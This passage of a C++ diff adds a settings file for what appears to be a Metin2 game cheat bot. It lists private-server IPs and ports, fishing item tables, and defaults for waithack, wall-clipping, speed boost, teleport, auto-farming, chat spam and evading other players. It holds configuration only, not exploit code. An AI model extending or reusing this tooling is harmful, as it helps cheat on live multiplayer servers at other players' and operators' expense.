make_pair(44000, "51.77.43.124") }, + { make_pair(13, make_pair(ServerName::PANGEA,"CH5")), make_pair(45000, "51.77.43.124") }, + { make_pair(14, make_pair(ServerName::PANGEA,"CH6")), make_pair(46000, "51.77.43.124") }, + + { make_pair(15, make_pair(ServerName::SAMIAS2,"CH1")), make_pair(16211, "54.38.85.102") }, + { make_pair(16, make_pair(ServerName::SAMIAS2,"CH2")), make_pair(16221, "54.38.85.102") }, + { make_pair(17, make_pair(ServerName::SAMIAS2,"CH3")), make_pair(16231, "54.38.85.102") }, + { make_pair(18, make_pair(ServerName::SAMIAS2,"CH4")), make_pair(16241, "54.38.85.102") }, + { make_pair(19, make_pair(ServerName::SAMIAS2,"CH5")), make_pair(16251, "54.38.85.102") }, + { make_pair(20, make_pair(ServerName::SAMIAS2,"CH6")), make_pair(16261, "54.38.85.102") }, + + { make_pair(21, make_pair(ServerName::MEDIUMMT2,"CH1")), make_pair(14001, "51.77.56.238") }, + { make_pair(22, make_pair(ServerName::MEDIUMMT2,"CH2")), make_pair(14002, "51.77.56.238") }, + { make_pair(23, make_pair(ServerName::MEDIUMMT2,"CH3")), make_pair(14003, "51.77.56.238") }, + { make_pair(24, make_pair(ServerName::MEDIUMMT2,"CH4")), make_pair(14004, "51.77.56.238") }, + { make_pair(25, make_pair(ServerName::MEDIUMMT2,"CH5")), make_pair(14005, "51.77.56.238") }, + { make_pair(26, make_pair(ServerName::MEDIUMMT2,"CH6")), make_pair(14006, "51.77.56.238") }, + + + { make_pair(27, make_pair(ServerName::ASENIS,"CH1")), make_pair(51102, "51.77.52.117") }, + { make_pair(28, make_pair(ServerName::ASENIS,"CH2")), make_pair(51202, "51.77.52.117") }, + { make_pair(29, make_pair(ServerName::ASENIS,"CH3")), make_pair(51302, "51.77.52.117") }, + { make_pair(30, make_pair(ServerName::ASENIS,"CH4")), make_pair(51402, "51.77.52.117") }, + { make_pair(31, make_pair(ServerName::ASENIS,"CH5")), make_pair(51502, "51.77.52.117") }, + { make_pair(32, make_pair(ServerName::ASENIS,"CH6")), make_pair(51602, "51.77.52.117") }, + + { make_pair(33, make_pair(ServerName::CLASSIC,"CH1")), make_pair(13001, "51.77.56.238") }, + { make_pair(34, make_pair(ServerName::CLASSIC,"CH2")), make_pair(13002, "51.77.56.238") }, + { make_pair(35, make_pair(ServerName::CLASSIC,"CH3")), make_pair(13003, "51.77.56.238") }, + { make_pair(36, make_pair(ServerName::CLASSIC,"CH4")), make_pair(13004, "51.77.56.238") }, + { make_pair(37, make_pair(ServerName::CLASSIC,"CH5")), make_pair(13005, "51.77.56.238") }, + { make_pair(38, make_pair(ServerName::CLASSIC,"CH6")), make_pair(13006, "51.77.56.238") }, + + + + { make_pair(39, make_pair(ServerName::DEVERIA,"CH1")), make_pair(17010, "87.98.237.48") }, + { make_pair(40, make_pair(ServerName::DEVERIA,"CH2")), make_pair(17020, "87.98.237.48") }, + { make_pair(41, make_pair(ServerName::DEVERIA,"CH3")), make_pair(17030, "87.98.237.48") }, + { make_pair(42, make_pair(ServerName::DEVERIA,"CH4")), make_pair(17040, "87.98.237.48") }, + { make_pair(43, make_pair(ServerName::DEVERIA,"CH5")), make_pair(17050, "87.98.237.48") }, + + + { make_pair(44, make_pair(ServerName::WOM,"CH1")), make_pair(55101, "51.83.214.65") }, + { make_pair(45, make_pair(ServerName::WOM,"CH2")), make_pair(55111, "51.83.214.65") }, + { make_pair(46, make_pair(ServerName::WOM,"CH3")), make_pair(55121, "51.83.214.65") }, + { make_pair(47, make_pair(ServerName::WOM,"CH4")), make_pair(55131, "51.83.214.65") }, + { make_pair(48, make_pair(ServerName::WOM,"CH5")), make_pair(55141, "51.83.214.65") }, + + { make_pair(49, make_pair(ServerName::AELDRA,"CH1")), make_pair(20014, "51.83.223.169") }, + { make_pair(50, make_pair(ServerName::AELDRA,"CH2")), make_pair(20024, "51.83.223.169") }, + { make_pair(51, make_pair(ServerName::AELDRA,"CH3")), make_pair(20034, "51.83.223.169") }, + { make_pair(52, make_pair(ServerName::AELDRA,"CH4")), make_pair(20044, "51.83.223.169") }, + { make_pair(53, make_pair(ServerName::AELDRA,"CH5")), make_pair(20054, "51.83.223.169") }, + { make_pair(54, make_pair(ServerName::AELDRA,"CH6")), make_pair(20064, "51.83.223.169") }, + { make_pair(55, make_pair(ServerName::AELDRA,"CH7")), make_pair(20074, "51.83.223.169") }, + + { make_pair(56, make_pair(ServerName::KEVRA,"CH1")), make_pair(30002, "54.38.85.102") }, + { make_pair(57, make_pair(ServerName::KEVRA,"CH2")), make_pair(30012, "54.38.85.102") }, + { make_pair(58, make_pair(ServerName::KEVRA,"CH3")), make_pair(30022, "54.38.85.102") }, + { make_pair(59, make_pair(ServerName::KEVRA,"CH4")), make_pair(30032, "54.38.85.102") }, + { make_pair(60, make_pair(ServerName::KEVRA,"CH5")), make_pair(30042, "54.38.85.102") }, + { make_pair(61, make_pair(ServerName::KEVRA,"CH6")), make_pair(30052, "54.38.85.102") }, + { make_pair(62, make_pair(ServerName::KEVRA,"CH7")), make_pair(30062, "54.38.85.102") }, + { make_pair(63, make_pair(ServerName::KEVRA,"CH8")), make_pair(30072, "54.38.85.102") }, +}; +vector Settings::PROTECTION_DETECT_PLAYER_WHITE_LIST = +{ + {""} +}; + +map< pair, pair> Settings::FISH_KILL_FISH_LIST = +{ + { make_pair(0, false), make_pair(27987, "Małż") }, + { make_pair(1, true), make_pair(27803, "Karaś")}, + { make_pair(2, true), make_pair(27804, "Ryba Mandaryna")}, + { make_pair(3, true), make_pair(27805, "Duży Karaś")}, + { make_pair(4, true), make_pair(27806, "Karp")}, + { make_pair(5, true), make_pair(27807, "Losoś")}, + { make_pair(6, true), make_pair(27808, "Amur")}, + { make_pair(7, true), make_pair(27809, "Pstrag")}, + { make_pair(8, true), make_pair(27810, "Węgorz")}, + { make_pair(9, true), make_pair(27811, "Teczowy Pstrąg")}, + { make_pair(10, true), make_pair(27812, "Rzeczny Pstrąg")}, + { make_pair(11, true), make_pair(27813, "Krasnopiórka")}, + { make_pair(12, true), make_pair(27814, "Okoń")}, + { make_pair(13, true), make_pair(27815, "Tenchi")}, + { make_pair(14, true), make_pair(27816, "Sum")}, + { make_pair(15, true), make_pair(27817, "Piskorz")}, + { make_pair(16, true), make_pair(27818, "Ryba Lotosu")}, + { make_pair(17, true), make_pair(27819, "Słodka Ryba")}, + { make_pair(18, true), make_pair(27820, "Gromadnik")}, + { make_pair(19, true), make_pair(27821, "Shiri")}, + { make_pair(20, true), make_pair(27822, "Lustrzany Karp")}, + { make_pair(21, true), make_pair(27823, "Złoty Karał")}, +}; + +map> Settings::FISH_ROD_REFINE_POINTS = +{ + {27400, make_pair(1, 10)}, + {27410, make_pair(2, 20)}, + {27420, make_pair(3, 40)}, + {27430, make_pair(4, 80)}, + {27440, make_pair(5, 120)}, + {27450, make_pair(6, 140)}, + {27460, make_pair(7, 160)}, + {27470, make_pair(8, 180)}, + {27480, make_pair(9, 200)}, + {27490, make_pair(10, 220)}, + {27510, make_pair(11, 240)}, + {27520, make_pair(12, 260)}, + {27530, make_pair(13, 280)}, + {27540, make_pair(14, 300)}, + {27550, make_pair(15, 320)}, + {27560, make_pair(16, 340)}, + {27570, make_pair(17, 360)}, + {27580, make_pair(18, 380)}, + {27590, make_pair(19, 400)}, + {27600, make_pair(20, 420)}, +}; +//########################################################################################## +map< pair, pair> Settings::FISH_BAIT_LIST = +{ + { make_pair(2, true), make_pair(27802, "Drobne Ryby")}, + { make_pair(3, true), make_pair(27801, "Robak")}, + { make_pair(4, true), make_pair(27800, "Papka")}, + +}; +map< pair, pair> Settings::FISH_DROP_LIST = +{ + + { make_pair(1, false), make_pair(50002, "Złoty Pierścień") }, + { make_pair(2, false), make_pair(70201, "Wybielacz") }, + { make_pair(3, false), make_pair(70202, "Biała Farba Do Włosów") }, + { make_pair(4, false), make_pair(70203, "Blond Farba Do Włosów") }, + { make_pair(5, false), make_pair(70204, "Czerw.Farba Do Włosów") }, + { make_pair(6, false), make_pair(70205, "Brązowa Farba Do Włosów") }, + { make_pair(7, false), make_pair(70206, "Czarna Farba Do Włosów") }, + + { make_pair(8, false), make_pair(50043, "Klucz Nimfy Wodnej") }, + { make_pair(9, false), make_pair(70050, "Symb. Króla Przepowiedni") }, + { make_pair(10, false), make_pair(70048, "Peleryna Maskująca") }, + { make_pair(11, false), make_pair(50009, "Srebny Klucz") }, + + + { make_pair(12, false), make_pair(50008, "Złoty Klucz") }, + { make_pair(13, false), make_pair(70049, "Pierścień Lucy") }, + { make_pair(14, false), make_pair(70051, "Rękawica Króla Przepowiedni") }, + + { make_pair(16, false), make_pair(80008, "Bryła Złota") }, + { make_pair(17, false), make_pair(27799, "Rybia Ość") }, + { make_pair(18, false), make_pair(27990, "Kawałek Kamienia") }, + { make_pair(19, false), make_pair(27987, "Małż") }, + { make_pair(20, false), make_pair(27833, "Martwy Karaś") }, + { make_pair(21, false), make_pair(27834, "Martwa Ryba Mandaryna") }, + { make_pair(22, false), make_pair(27835, "Martwy Duży Karś") }, + { make_pair(23, false), make_pair(27836, "Martwy Karp") }, + { make_pair(24, false), make_pair(27837, "Martwy Łosoś") }, + + { make_pair(26, false), make_pair(27838, "Martwy Amur") }, + { make_pair(27, false), make_pair(27839, "Martwy Pstrąg") }, + { make_pair(28, false), make_pair(27840, "Martwy Węgorz") }, + { make_pair(29, false), make_pair(27841, "Martwy Tęczowy Pstrąg") }, + { make_pair(30, false), make_pair(27842, "Martwy Rzeczny Pstrąg") }, + { make_pair(31, false), make_pair(27843, "Martwa Krasnopiórka") }, + { make_pair(32, false), make_pair(27844, "Martwy Okoń") }, + { make_pair(33, false), make_pair(27845, "Martwa Tenchi") }, + { make_pair(34, false), make_pair(27846, "Martwy Sum") }, + { make_pair(35, false), make_pair(27847, "Martwy Piskorz") }, + { make_pair(36, false), make_pair(27848, "Martwa Ryba Lotosu") }, + { make_pair(37, false), make_pair(27849, "Martwa Słodka Ryba") }, + { make_pair(38, false), make_pair(27850, "Martwy Gromadnik") }, + { make_pair(39, false), make_pair(27851, "Martwa Shiri") }, + { make_pair(40, false), make_pair(27852, "Martwy Lustrzany Karp") }, + { make_pair(41, false), make_pair(27853, "Martwy Złoty Karaś") }, +}; +map< pair, pair> Settings::FISH_SELL_LIST = +{ + + { make_pair(1, true), make_pair(50002, "Złoty Pierścień") }, + { make_pair(2, true), make_pair(70201, "Wybielacz") }, + { make_pair(3, true), make_pair(70202, "Biała Farba Do Włosów") }, + { make_pair(4, true), make_pair(70203, "Blond Farba Do Włosów") }, + { make_pair(5, true), make_pair(70204, "Czerw.Farba Do Włosów") }, + { make_pair(6, true), make_pair(70205, "Brązowa Farba Do Włosów") }, + { make_pair(7, true), make_pair(70206, "Czarna Farba Do Włosów") }, + + { make_pair(8, true), make_pair(50043, "Klucz Nimfy Wodnej") }, + { make_pair(9, true), make_pair(70050, "Symb. Króla Przepowiedni") }, + { make_pair(10, true), make_pair(70048, "Peleryna Maskująca") }, + { make_pair(11, true), make_pair(50009, "Srebny Klucz") }, + + + { make_pair(12, true), make_pair(50008, "Złoty Klucz") }, + { make_pair(13, true), make_pair(70049, "Pierścień Lucy") }, + { make_pair(14, true), make_pair(70051, "Rękawica Króla Przepowiedni") }, + + { make_pair(16, true), make_pair(80008, "Bryła Złota") }, + { make_pair(17, true), make_pair(27799, "Rybia Ość") }, + { make_pair(18, true), make_pair(27990, "Kawałek Kamienia") }, + { make_pair(19, false), make_pair(27987, "Małż") }, + { make_pair(20, true), make_pair(27833, "Martwy Karaś") }, + { make_pair(21, true), make_pair(27834, "Martwa Ryba Mandaryna") }, + { make_pair(22, true), make_pair(27835, "Martwy Duży Karś") }, + { make_pair(23, true), make_pair(27836, "Martwy Karp") }, + + { make_pair(25, true), make_pair(27837, "Martwy Łosoś") }, + { make_pair(26, true), make_pair(27838, "Martwy Amur") }, + { make_pair(27, true), make_pair(27839, "Martwy Pstrąg") }, + { make_pair(28, true), make_pair(27840, "Martwy Węgorz") }, + { make_pair(29, true), make_pair(27841, "Martwy Tęczowy Pstrąg") }, + { make_pair(30, true), make_pair(27842, "Martwy Rzeczny Pstrąg") }, + { make_pair(31, true), make_pair(27843, "Martwa Krasnopiórka") }, + { make_pair(32, true), make_pair(27844, "Martwy Okoń") }, + { make_pair(33, true), make_pair(27845, "Martwa Tenchi") }, + { make_pair(34, true), make_pair(27846, "Martwy Sum") }, + { make_pair(35, true), make_pair(27847, "Martwy Piskorz") }, + { make_pair(36, true), make_pair(27848, "Martwa Ryba Lotosu") }, + { make_pair(37, true), make_pair(27849, "Martwa Słodka Ryba") }, + { make_pair(38, false), make_pair(27850, "Martwy Gromadnik") }, + { make_pair(39, true), make_pair(27851, "Martwa Shiri") }, + { make_pair(40, true), make_pair(27852, "Martwy Lustrzany Karp") }, + { make_pair(41, true), make_pair(27853, "Martwy Złoty Karaś") }, +}; +map> Settings::FISH_COMMAND_LIST +{ + // { 6, make_pair("Nacisnij 1 razy spacje", 1) }, + // { 7, make_pair("Nacisnij 2 razy spacje", 2) }, + // { 8, make_pair("Nacisnij 3 razy spacje", 3) }, + // { 9, make_pair("Nacisnij 4 razy spacje", 4) }, + // { 10, make_pair("Nacisnij 5 razy spacje", 5) }, + // { 11, make_pair("Naciśnij 1 razy", 1) }, + // { 12, make_pair("Naciśnij 2 razy", 2) }, + // { 13, make_pair("Naciśnij 3 razy", 3) }, + // { 14, make_pair("Naciśnij 4 razy", 4) }, + // { 15, make_pair("Naciśnij 5 razy", 5) }, + // { 16, make_pair("Kliknij 1 razy", 1) }, + // { 17, make_pair("Kliknij 2 razy", 2) }, + // { 18, make_pair("Kliknij 3 razy", 3) }, + // { 19, make_pair("Kliknij 4 razy", 4) }, + // { 20, make_pair("Kliknij 5 razy", 5) }, + // { 21, make_pair("ile jest niebieskich kulek (1)", 1) }, + // { 22, make_pair("ile jest niebieskich kulek (2)", 2) }, + // { 23, make_pair("ile jest niebieskich kulek (3)", 3) }, + // { 24, make_pair("ile jest niebieskich kulek (4)", 4) }, + // { 25, make_pair("ile jest niebieskich kulek (5)", 5) }, + // { 26, make_pair("Kliknij 1 razy spację, aby spróbować wyłowić rybę", 1) }, + // { 27, make_pair("Kliknij 2 razy spację, aby spróbować wyłowić rybę", 2) }, + // { 28, make_pair("Kliknij 3 razy spację, aby spróbować wyłowić rybę", 3) }, + // { 29, make_pair("Kliknij 4 razy spację, aby spróbować wyłowić rybę", 4) }, + // { 30, make_pair("Kliknij 5 razy spację, aby spróbować wyłowic rybę", 5) }, + // { 31, make_pair("1x|h|r aby wyłowić", 1) }, + // { 32, make_pair("2x|h|r aby wyłowić", 2) }, + // { 33, make_pair("3x|h|r aby wyłowić", 3) }, + // { 34, make_pair("4x|h|r aby wyłowić", 4) }, + // { 35, make_pair("5x|h|r aby wyłowić", 5) }, + // { 36, make_pair("Zatnij rybę 1 razy", 1) }, + // { 37, make_pair("Zatnij rybę 2 razy", 2) }, + // { 38, make_pair("Zatnij rybę 3 razy", 3) }, + // { 39, make_pair("Zatnij rybę 4 razy", 4) }, + // { 40, make_pair("Zatnij rybę 5 razy", 5) }, + // { 41, make_pair("Wylosowano: 1", 1) }, + // { 42, make_pair("Wylosowano: 2", 2) }, + // { 43, make_pair("Wylosowano: 3", 3) }, + // { 44, make_pair("Wylosowano: 4", 4) }, + // { 45, make_pair("Wylosowano: 5", 5) }, + // { 46, make_pair("liczba to... 1", 1) }, + // { 47, make_pair("liczba to... 2", 2) }, + // { 48, make_pair("liczba to... 3", 3) }, + // { 49, make_pair("liczba to... 4", 4) }, + // { 50, make_pair("liczba to... 5", 5) }, + // { 51, make_pair("użyj spacji 1", 1) }, + // { 52, make_pair("użyj spacji 2", 2) }, + // { 53, make_pair("użyj spacji 3", 3) }, + // { 54, make_pair("użyj spacji 4", 4) }, + // { 55, make_pair("użyj spacji 5", 5) }, + { 56, make_pair("nij: 1", 1) }, + { 57, make_pair("nij: 2", 2) }, + { 58, make_pair("nij: 3", 3) }, + { 59, make_pair("nij: 4", 4) }, + { 60, make_pair("nij: 5", 5) }, + + { 61, make_pair("nij: J", 1) }, + { 62, make_pair("nij: D", 2) }, + { 63, make_pair("nij: T", 3) }, + { 64, make_pair("nij: C", 4) }, + { 65, make_pair("nij: P", 5) }, + //{ 66, make_pair("hohfcthbhy.sub", 1) }, + //{ 67, make_pair("klnbahqfuk.sub", 1) }, + //{ 68, make_pair("zqsdlotxlt.sub", 1) }, + //{ 69, make_pair("gkxegfenjh.sub", 1) }, + //{ 70, make_pair("gulnvvwzbm.sub", 2) }, + //{ 71, make_pair("blsvtqsbdr.sub", 2) }, + //{ 72, make_pair("cfqdfqfnpl.sub", 2) }, + //{ 73, make_pair("znvtfvjjlg.sub", 2) }, + //{ 74, make_pair("addjvbzupo.sub", 3) }, + //{ 75, make_pair("wxzcbjqoau.sub", 3) }, + //{ 76, make_pair("izpjrgxwmk.sub", 3) }, + //{ 77, make_pair("ulvnibygka.sub", 3) }, + // { 78, make_pair("mdscnufuca.sub", 4) }, + // { 79, make_pair("egyfkgjofh.sub", 4) }, + // { 80, make_pair("volexihnrf.sub", 4) }, + // { 81, make_pair("okgeihgbod.sub", 4) }, + // { 82, make_pair("mbiuatlxoc.sub", 5) }, + // { 83, make_pair("aehpjaevyo.sub", 5) }, + // { 84, make_pair("hmmngdctvb.sub", 5) }, + // { 85, make_pair("frwikxzsrn.sub", 5) }, + { 86, make_pair("piscis_unum.mse", 1) }, + { 87, make_pair("piscis_duo.mse", 2) }, + { 88, make_pair("piscis_tribus.mse", 3) }, + { 89, make_pair("piscis_quattuor.mse", 4) }, + { 90, make_pair("piscis_quinque.mse", 5) }, + + { 91, make_pair("nij 1 raz/y przycisk spacji by wy", 1) }, + { 92, make_pair("nij 2 raz/y przycisk spacji by wy", 2) }, + { 93, make_pair("nij 3 raz/y przycisk spacji by wy", 3) }, + { 94, make_pair("nij 4 raz/y przycisk spacji by wy", 4) }, + { 95, make_pair("nij 5 raz/y przycisk spacji by wy", 5) }, + { 96, make_pair("nij 1x spacj", 1) }, + { 97, make_pair("nij 2x spacj", 2) }, + { 98, make_pair("nij 3x spacj", 3) }, + { 99, make_pair("nij 4x spacj", 4) }, + { 100, make_pair("nij 5x spacj", 5) }, + { 101, make_pair("nij 1x spacj", 1) }, + { 102, make_pair("nij 2x spacj", 2) }, + { 103, make_pair("nij 3x spacj", 3) }, + { 104, make_pair("nij 4x spacj", 4) }, + { 105, make_pair("nij 5x spacj", 5) }, + { 106, make_pair("nawalaj w te spacje 1 razy", 1) }, + { 107, make_pair("nawalaj w te spacje 2 razy", 2) }, + { 108, make_pair("nawalaj w te spacje 3 razy", 3) }, + { 109, make_pair("nawalaj w te spacje 4 razy", 4) }, + { 110, make_pair("nawalaj w te spacje 5 razy", 5) }, + + + { 111, make_pair("|cFF68BB411x|h|r aby", 1) }, + { 112, make_pair("|cFF68BB412x|h|r aby", 2) }, + { 113, make_pair("|cFF68BB413x|h|r aby", 3) }, + { 114, make_pair("|cFF68BB414x|h|r aby", 4) }, + { 115, make_pair("|cFF68BB415x|h|r aby", 5) }, + }; +map< DWORD, pair> Settings::ITEM_PICKUP_SELECTED_LIST; + +vector Settings::cordsMaps; +//################# MAIN + + bool Settings::MAIN_STONE_DETECT_ENABLE = false; + bool Settings::MAIN_MOBBER_ENABLE = false; + bool Settings::MAIN_ATTACK_ENABLE = false; + bool Settings::MAIN_ROTATION_ENABLE = false; + int Settings::MAIN_ROTATION_SPEED_VALUE = 30; + bool Settings::MAIN_SKILL_ENABLE = false; + bool Settings::MAIN_NOK_ENABLE = false; + bool Settings::MAIN_NOP_ENABLE = false; + bool Settings::MAIN_WALL_MOB_ENABLE = false; + bool Settings::MAIN_WALL_OBJECT_ENABLE = false; + bool Settings::MAIN_WALL_TERRAIN_ENABLE = false; + bool Settings::MAIN_MOB_DETECT_ENABLE = false; + bool Settings::MAIN_POTION_ENABLE = false; + bool Settings::MAIN_RED_POTION_ENABLE = false; + bool Settings::MAIN_BLUE_POTION_ENABLE = false; + int Settings::MAIN_RED_POTION_PERCENTAGE_VALUE = 80; + int Settings::MAIN_RED_POTION_SPEED_VALUE = 100; + int Settings::MAIN_BLUE_POTION_PERCENTAGE_VALUE = 80; + int Settings::MAIN_BLUE_POTION_SPEED_VALUE = 100; + bool Settings::MAIN_AUTO_REVIVE_ENABLE = false; + int Settings::MAIN_AUTO_REVIVE_PERCENTAGE_VALUE = 60; + int Settings::MAIN_CHANNEL_CHANGER_PORT_OFFSET = 0; + bool Settings::MAIN_SKILL_1_ENABLE = false; + bool Settings::MAIN_SKILL_2_ENABLE = false; + bool Settings::MAIN_SKILL_3_ENABLE = false; + bool Settings::MAIN_SKILL_4_ENABLE = false; + bool Settings::MAIN_SKILL_5_ENABLE = false; + bool Settings::MAIN_SKILL_6_ENABLE = false; + bool Settings::MAIN_WH_ENABLE = false; + int Settings::MAIN_WH_DISTANCE_VALUE = 3000; + int Settings::MAIN_WH_DISTANCE_STEP = 1000; + int Settings::MAIN_WH_WEAPON_TYPE = 0; + int Settings::MAIN_WH_SKILL_COOLDOWN_TIME = 25; + bool Settings::MAIN_WAITHACK_RANGE_ENABLE = false; + int Settings::MAIN_WH_TIME = 50; + int Settings::MAIN_WH_ATTACK_TYPE = 0; + bool Settings::MAIN_WH_DETECT_PLAYER_ENABLE = false; + int Settings::MAIN_BOOST_KEY = VK_SHIFT; + int Settings::MAIN_RELOG_KEY = VK_F11; + int Settings::MAIN_GLOBAL_SWITCH_KEY = VK_F1; + int Settings::MAIN_HIDE_UI_KEY = VK_F12; + int Settings::MAIN_WH_SKILL_VALUE = 35; + bool Settings::MAIN_WH_MONSTER = true; + bool Settings::MAIN_WH_METIN = true; + bool Settings::MAIN_WH_BOSS = true; + bool Settings::MAIN_WH_PLAYER = false; + int Settings::MAIN_BOOST_SPEED = 47; + ImVec4 Settings::MAIN_WH_RENDER_COLOR = ImColor(255, 0, 0, 255); + bool Settings::MAIN_WH_RENDER_ENABLE = false; + +//################# ITEM + + bool Settings::ITEM_SLOT_RANDOM_ENABLE = true; + bool Settings::ITEM_SLOT_3_ENABLE = false; + bool Settings::ITEM_SLOT_4_ENABLE = false; + bool Settings::ITEM_SLOT_5_ENABLE = false; + bool Settings::ITEM_SLOT_6_ENABLE = false; + bool Settings::ITEM_SLOT_7_ENABLE = false; + bool Settings::ITEM_SLOT_8_ENABLE = false; + bool Settings::ITEM_SLOT_9_ENABLE = false; + bool Settings::ITEM_SLOT_10_ENABLE = false; + bool Settings::ITEM_SLOT_11_ENABLE = false; + bool Settings::ITEM_SLOT_12_ENABLE = false; + bool Settings::ITEM_SLOT_13_ENABLE = false; + bool Settings::ITEM_SLOT_14_ENABLE = false; + bool Settings::ITEM_SLOT_15_ENABLE = false; + bool Settings::ITEM_SLOT_16_ENABLE = false; + float Settings::ITEM_SLOT_RANDOM_MIN_TIME = 0.050; + float Settings::ITEM_SLOT_RANDOM_MAX_TIME = 0.100; + float Settings::ITEM_SLOT_3_TIME = 1.500; + float Settings::ITEM_SLOT_4_TIME = 1.500; + float Settings::ITEM_SLOT_5_TIME = 1.500; + float Settings::ITEM_SLOT_6_TIME = 1.500; + float Settings::ITEM_SLOT_7_TIME = 1.500; + float Settings::ITEM_SLOT_8_TIME = 1.500; + float Settings::ITEM_SLOT_9_TIME = 1.500; + float Settings::ITEM_SLOT_10_TIME = 1.500; + float Settings::ITEM_SLOT_11_TIME = 1.500; + float Settings::ITEM_SLOT_12_TIME = 1.500; + float Settings::ITEM_SLOT_13_TIME = 1.500; + float Settings::ITEM_SLOT_14_TIME = 1.500; + float Settings::ITEM_SLOT_15_TIME = 1.500; + float Settings::ITEM_SLOT_16_TIME = 1.500; + bool Settings::ITEM_PICKUP_ENABLE = false; + bool Settings::ITEM_PICKUP_FILTER_ENABLE = false; + int Settings::ITEM_PICKUP_TIME = 900; + int Settings::ITEM_PICKUP_DISTANCE = 5000; + int Settings::ITEM_PICKUP_STEP = 1500; + int Settings::ITEM_PICKUP_TYPE = 0; + + +//################# FARM + +bool Settings::FARM_ENABLE = false; +bool Settings::FARM_MOB_ENABLE = false; +bool Settings::FARM_BOSS_ENABLE = false; +bool Settings::FARM_METIN_ENABLE = true; +bool Settings::FARM_MINE_ENABLE = false; +bool Settings::FARM_PLANT_ENABLE = false; +int Settings::FARM_DISTANCE = 3000; +float Settings::FARM_DROP_WAIT_DELAY = 7.0; +int Settings::FARM_MOVE_TYPE = 0; +bool Settings::FARM_RENDER_PATH_ENABLE = false; + +//################# SPAM + +bool Settings::SPAM_NORMAL_ENABLE = false; +bool Settings::SPAM_SHOUT_ENABLE = false; +bool Settings::SPAM_WISPER_ENABLE = false; +float Settings::SPAM_NORMAL_TIME = 5.0; +float Settings::SPAM_WHISPER_TIME = 0.500; +float Settings::SPAM_SHOUT_TIME = 7.0; +ImVec4 Settings::SPAM_NORMAL_COLOR = ImColor(255, 0, 102); +ImVec4 Settings::SPAM_WHISPER_COLOR = ImColor(255, 0, 102); +ImVec4 Settings::SPAM_SHOUT_COLOR = ImColor(255, 0, 102); +bool Settings::SPAM_NORMAL_COLOR_ENABLE = false; +bool Settings::SPAM_WHISPER_COLOR_ENABLE = false; +bool Settings::SPAM_SHOUT_COLOR_ENABLE = false; +bool Settings::SPAM_NORMAL_RAINBOW_COLOR_ENABLE = false; +bool Settings::SPAM_WHISPER_RAINBOW_COLOR_ENABLE = false; +bool Settings::SPAM_SHOUT_RAINBOW_COLOR_ENABLE = false; + +//################# STATUS + +bool Settings::STATUS_ENABLE = false; + +//################# BUFF + +bool Settings::BUFF_ENABLE = false; +bool Settings::BUFF_SKILL_1_ENABLE = false; +bool Settings::BUFF_SKILL_2_ENABLE = false; +bool Settings::BUFF_SKILL_3_ENABLE = false; +float Settings::BUFF_SKILL_1_TIME = 11.0; +float Settings::BUFF_SKILL_2_TIME = 11.0; +float Settings::BUFF_SKILL_3_TIME = 11.0; + +//################# FISH + +bool Settings::FISH_ENABLE = false; +int Settings::FISH_SUCCESS_PERCENTAGE_VALUE = 0; +int Settings::FISH_CAST_TIME_MIN_VALUE = 150; +int Settings::FISH_CAST_TIME_MAX_VALUE = 250; +int Settings::FISH_ROUND_TIME_MIN_VALUE = 9000; +int Settings::FISH_ROUND_TIME_MAX_VALUE = 10000; +int Settings::FISH_EMERGENCY_RUN_TIME_VALUE = 40500; +bool Settings::FISH_DETECT_PLAYER_ENABLE = false; +bool Settings::FISH_STOP_IF_POSITION_CHANGED_ENABLE = false; +bool Settings::FISH_STOP_IF_INVENTORY_FULL_ENABLE = true; +bool Settings::FISH_USE_FIRST_SLOT_ENABLE = false; +bool Settings::FISH_KILL_FISH_ENABLE = false; +bool Settings::FISH_SELL_TRASH_ENABLE = false; +bool Settings::FISH_DROP_TRASH_ENABLE = false; +int Settings::FISH_SELL_TRASH_AFTER_PERCENTAGE = 60; +bool Settings::FISH_BUY_BAIT_ENABLE = false;; +int Settings::FISH_BUY_BAIT_SHOP_SLOT = 8; +int Settings::FISH_BUY_BAIT_SHOP_COUNT = 10; +bool Settings::FISH_SHOP_CAST_TELEPORT_ENABLE = false; +D3DVECTOR Settings::FISH_SHOP_TELEPORT_CORDS = { 0, 0, 0 };; +D3DVECTOR Settings::FISH_CAST_TELEPORT_CORDS = { 0, 0, 0 };; +bool Settings::FISH_SUCCESS_PERCENTAGE_VALUE_ENABLE = false; +bool Settings::FISH_CAST_TIME_ENABLE = true; +bool Settings::FISH_ROUND_TIME_ENABLE = true; +bool Settings::FISH_EMERGENCY_RUN_TIME_ENABLE = true; +bool Settings::FISH_KILL_TILL_SIZE_ENABLE = false; +float Settings::FISH_KILL_TILL_SIZE_VALUE = 10; +int Settings::FISH_TELEPORT_STEP_RANGE = 1800; + +//################# PROTECTION + +bool Settings::PROTECTION_SHOW_WHISPER_LOGS_ENABLE = false; +bool Settings::PROTECTION_SHOW_WHISPER_BALLOON_ENABLE = false; +bool Settings::PROTECTION_SHOW_TALK_BALLOON_ENABLE = false; +bool Settings::PROTECTION_PLAY_WHISPER_BEEP_ENABLE = false; +bool Settings::PROTECTION_PLAY_TALK_BEEP_ENABLE = false; +bool Settings::PROTECTION_RESTORE_WISPER_WINDOW_ENABLE = false; +bool Settings::PROTECTION_FLASH_WHISPER_ICON_ENABLE = false; +bool Settings::PROTECTION_FLASH_TALK_ICON_ENABLE = false; +bool Settings::PROTECTION_SHOW_TALK_LOGS_ENABLE = false; +bool Settings::PROTECTION_DISABLE_UPDATE_ENABLE = false; +bool Settings::PROTECTION_DISABLE_RENDER_ENABLE = false; +bool Settings::PROTECTION_DISABLE_RENDER_FRAMES_ENABLE = false; +bool Settings::PROTECTION_AUTO_LOGIN_ENABLE = false; + +//################# RADAR + +ImVec4 Settings::RADAR_MONSTER_COLOR = ImVec4(255, 0, 0, 255); +ImVec4 Settings::RADAR_BOSS_COLOR = ImColor(255, 64, 0); +ImVec4 Settings::RADAR_NPC_COLOR = ImVec4(0, 255, 0, 255); +ImVec4 Settings::RADAR_MINE_COLOR = ImColor(255, 0, 102); +ImVec4 Settings::RADAR_STONE_COLOR = ImVec4(0, 0, 255, 255); +ImVec4 Settings::RADAR_PLAYER_COLOR = ImVec4(239, 255, 0, 255); +ImVec4 Settings::RADAR_WAYPOINT_COLOR = ImColor(43, 211, 120, 255); +bool Settings::RADAR_MONSTER_SHOW_ENABLE = true; +bool Settings::RADAR_BOSS_SHOW_ENABLE = true; +bool Settings::RADAR_NPC_SHOW_ENABLE = true; +bool Settings::RADAR_MINING_SHOW_ENABLE = true; +bool Settings::RADAR_STONE_SHOW_ENABLE = true; +bool Settings::RADAR_PLAYER_SHOW_ENABLE = 